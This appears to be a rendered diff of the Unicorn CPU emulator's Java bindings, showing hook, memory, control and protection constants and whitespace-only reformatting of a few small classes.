public static final int UC_ERR_EXCEPTION = 21;
public static final int UC_MEM_READ = 16;
public static final int UC_MEM_WRITE = 17;
public static final int UC_MEM_FETCH = 18;
public static final int UC_MEM_READ_UNMAPPED = 19;
public static final int UC_MEM_WRITE_UNMAPPED = 20;
public static final int UC_MEM_FETCH_UNMAPPED = 21;
public static final int UC_MEM_WRITE_PROT = 22;
public static final int UC_MEM_READ_PROT = 23;
public static final int UC_MEM_FETCH_PROT = 24;
public static final int UC_MEM_READ_AFTER = 25;
public static final int UC_TCG_OP_SUB = 0;
public static final int UC_TCG_OP_FLAG_CMP = 1;
public static final int UC_TCG_OP_FLAG_DIRECT = 2;
public static final int UC_HOOK_INTR = 1;
public static final int UC_HOOK_INSN = 2;
public static final int UC_HOOK_CODE = 4;
public static final int UC_HOOK_BLOCK = 8;
public static final int UC_HOOK_MEM_READ_UNMAPPED = 16;
public static final int UC_HOOK_MEM_WRITE_UNMAPPED = 32;
public static final int UC_HOOK_MEM_FETCH_UNMAPPED = 64;
public static final int UC_HOOK_MEM_READ_PROT = 128;
public static final int UC_HOOK_MEM_WRITE_PROT = 256;
public static final int UC_HOOK_MEM_FETCH_PROT = 512;
public static final int UC_HOOK_MEM_READ = 1024;
public static final int UC_HOOK_MEM_WRITE = 2048;
public static final int UC_HOOK_MEM_FETCH = 4096;
public static final int UC_HOOK_MEM_READ_AFTER = 8192;
public static final int UC_HOOK_INSN_INVALID = 16384;
public static final int UC_HOOK_EDGE_GENERATED = 32768;
public static final int UC_HOOK_TCG_OPCODE = 65536;
public static final int UC_HOOK_TLB_FILL = 131072;
public static final int UC_HOOK_MEM_UNMAPPED = 112;
public static final int UC_HOOK_MEM_PROT = 896;
public static final int UC_HOOK_MEM_READ_INVALID = 144;
public static final int UC_HOOK_MEM_WRITE_INVALID = 288;
public static final int UC_HOOK_MEM_FETCH_INVALID = 576;
public static final int UC_HOOK_MEM_INVALID = 1008;
public static final int UC_HOOK_MEM_VALID = 7168;
public static final int UC_QUERY_MODE = 1;
public static final int UC_QUERY_PAGE_SIZE = 2;
public static final int UC_QUERY_ARCH = 3;
public static final int UC_QUERY_TIMEOUT = 4;
public static final int UC_TCG_OP_SUB = 0;
public static final int UC_TCG_OP_FLAG_CMP = 1;
public static final int UC_TCG_OP_FLAG_DIRECT = 2;
public static final int UC_HOOK_INTR = 1;
public static final int UC_HOOK_INSN = 2;
public static final int UC_HOOK_CODE = 4;
public static final int UC_HOOK_BLOCK = 8;
public static final int UC_HOOK_MEM_READ_UNMAPPED = 16;
public static final int UC_HOOK_MEM_WRITE_UNMAPPED = 32;
public static final int UC_HOOK_MEM_FETCH_UNMAPPED = 64;
public static final int UC_HOOK_MEM_READ_PROT = 128;
public static final int UC_HOOK_MEM_WRITE_PROT = 256;
public static final int UC_HOOK_MEM_FETCH_PROT = 512;
public static final int UC_HOOK_MEM_READ = 1024;
public static final int UC_HOOK_MEM_WRITE = 2048;
public static final int UC_HOOK_MEM_FETCH = 4096;
public static final int UC_HOOK_MEM_READ_AFTER = 8192;
public static final int UC_HOOK_INSN_INVALID = 16384;
public static final int UC_HOOK_EDGE_GENERATED = 32768;
public static final int UC_HOOK_TCG_OPCODE = 65536;
public static final int UC_HOOK_TLB_FILL = 131072;
public static final int UC_HOOK_MEM_UNMAPPED = 112;
public static final int UC_HOOK_MEM_PROT = 896;
public static final int UC_HOOK_MEM_READ_INVALID = 144;
public static final int UC_HOOK_MEM_WRITE_INVALID = 288;
public static final int UC_HOOK_MEM_FETCH_INVALID = 576;
public static final int UC_HOOK_MEM_INVALID = 1008;
public static final int UC_HOOK_MEM_VALID = 7168;
public static final int UC_QUERY_MODE = 1;
public static final int UC_QUERY_PAGE_SIZE = 2;
public static final int UC_QUERY_ARCH = 3;
public static final int UC_QUERY_TIMEOUT = 4;
public static final int UC_CTL_IO_NONE = 0;
public static final int UC_CTL_IO_WRITE = 1;
public static final int UC_CTL_IO_READ = 2;
public static final int UC_CTL_IO_READ_WRITE = 3;
public static final int UC_CTL_IO_NONE = 0;
public static final int UC_CTL_IO_WRITE = 1;
public static final int UC_CTL_IO_READ = 2;
public static final int UC_CTL_IO_READ_WRITE = 3;
public static final int UC_TLB_CPU = 0;
public static final int UC_TLB_VIRTUAL = 1;
public static final int UC_TLB_CPU = 0;
public static final int UC_TLB_VIRTUAL = 1;
public static final int UC_CTL_UC_MODE = 0;
public static final int UC_CTL_UC_PAGE_SIZE = 1;
public static final int UC_CTL_UC_ARCH = 2;
public static final int UC_CTL_UC_TIMEOUT = 3;
public static final int UC_CTL_UC_USE_EXITS = 4;
public static final int UC_CTL_UC_EXITS_CNT = 5;
public static final int UC_CTL_UC_EXITS = 6;
public static final int UC_CTL_CPU_MODEL = 7;
public static final int UC_CTL_TB_REQUEST_CACHE = 8;
public static final int UC_CTL_TB_REMOVE_CACHE = 9;
public static final int UC_CTL_TB_FLUSH = 10;
public static final int UC_CTL_TLB_FLUSH = 11;
public static final int UC_CTL_TLB_TYPE = 12;
public static final int UC_CTL_UC_MODE = 0;
public static final int UC_CTL_UC_PAGE_SIZE = 1;
public static final int UC_CTL_UC_ARCH = 2;
public static final int UC_CTL_UC_TIMEOUT = 3;
public static final int UC_CTL_UC_USE_EXITS = 4;
public static final int UC_CTL_UC_EXITS_CNT = 5;
public static final int UC_CTL_UC_EXITS = 6;
public static final int UC_CTL_CPU_MODEL = 7;
public static final int UC_CTL_TB_REQUEST_CACHE = 8;
public static final int UC_CTL_TB_REMOVE_CACHE = 9;
public static final int UC_CTL_TB_FLUSH = 10;
public static final int UC_CTL_TLB_FLUSH = 11;
public static final int UC_CTL_TLB_TYPE = 12;
public static final int UC_PROT_NONE = 0;
public static final int UC_PROT_READ = 1;
public static final int UC_PROT_WRITE = 2;
public static final int UC_PROT_EXEC = 4;
public static final int UC_PROT_ALL = 7;
public static final int UC_PROT_NONE = 0;
public static final int UC_PROT_READ = 1;
public static final int UC_PROT_WRITE = 2;
public static final int UC_PROT_EXEC = 4;
public static final int UC_PROT_ALL = 7;
}

View File

@@ -22,13 +22,11 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
package unicorn;
public class UnicornException extends RuntimeException {
public UnicornException() {
super();
}
public UnicornException() {
super();
}
public UnicornException(String msg) {
super(msg);
}
public UnicornException(String msg) {
super(msg);
}
}

View File

@@ -22,8 +22,6 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
package unicorn;
public interface WriteHook extends Hook {
public void hook(Unicorn u, long address, int size, long value, Object user);
public void hook(Unicorn u, long address, int size, long value,
Object user);
}

File diff suppressed because it is too large Load Diff

View File

@@ -22,25 +22,22 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
package unicorn;
public class X86_MMR {
public long base;
public int limit;
public int flags;
public short selector;
public long base;
public int limit;
public int flags;
public short selector;
public X86_MMR(long base, int limit, int flags, short selector) {
this.base = base;
this.limit = limit;
this.flags = flags;
this.selector = selector;
}
public X86_MMR(long base, int limit) {
this.base = base;
this.limit = limit;
selector = 0;
flags = 0;
}
public X86_MMR(long base, int limit, int flags, short selector) {
this.base = base;
this.limit = limit;
this.flags = flags;
this.selector = selector;
}
public X86_MMR(long base, int limit) {
this.base = base;
this.limit = limit;
selector = 0;
flags = 0;
}
}

File diff suppressed because it is too large Load Diff